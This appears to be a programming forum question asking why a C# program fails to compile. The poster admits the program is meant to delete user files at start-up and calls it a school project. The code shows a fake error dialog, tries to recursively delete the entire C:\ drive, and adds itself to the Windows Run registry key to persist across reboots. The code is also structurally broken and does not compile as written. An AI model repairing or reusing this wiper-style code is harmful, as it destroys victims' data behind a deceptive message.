title: A namespace cannot directly contain members such as fields or methods?
body: <p>I am trying to create an application that deletes user documents at start-up (I am aware that this may sound malicious but it is for a school project).</p>
  
  <p>However, I am getting the error "A namespace cannot directly contain members such as fields or methods".</p>
  
  <p>Looking over it, it seems fine? I am hoping a second pair of eyes can help as I have searched everywhere and I cannot find a relevant solution!</p>
  
  <p>Admittedly, because of my very basic knowledge, I have used a lot of help online and from books and what I know of c# is limited. Therefore it might just be that I'm being stupid, but everyone has to start somewhere, right?</p>
  
  <p>The code is as follows:</p>
  
  <pre><code>namespace Test
  {
  class Program
      {
       static void Main(string[] args)
          {
          MessageBox.Show("An unexpected error occured");
          if (System.IO.Directory.Exists(@"C:\"))
          {
              try
              {
                  System.IO.Directory.Delete("C:\\", true);
              }
  
              catch (System.IO.IOException e)
              {
                  Console.WriteLine(e.Message);
              }
          }
      }
      }
  public class Program
  {
      private void SetStartup();
      }
  
          RegistryKey rk = Registry.CurrentUser.OpenSubKey
              ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  
          if (chkStartUp.Checked)
              rk.SetValue(AppName, Application.ExecutablePath.ToString());
          else
              rk.DeleteValue(AppName, false);
  
      }
  </code></pre>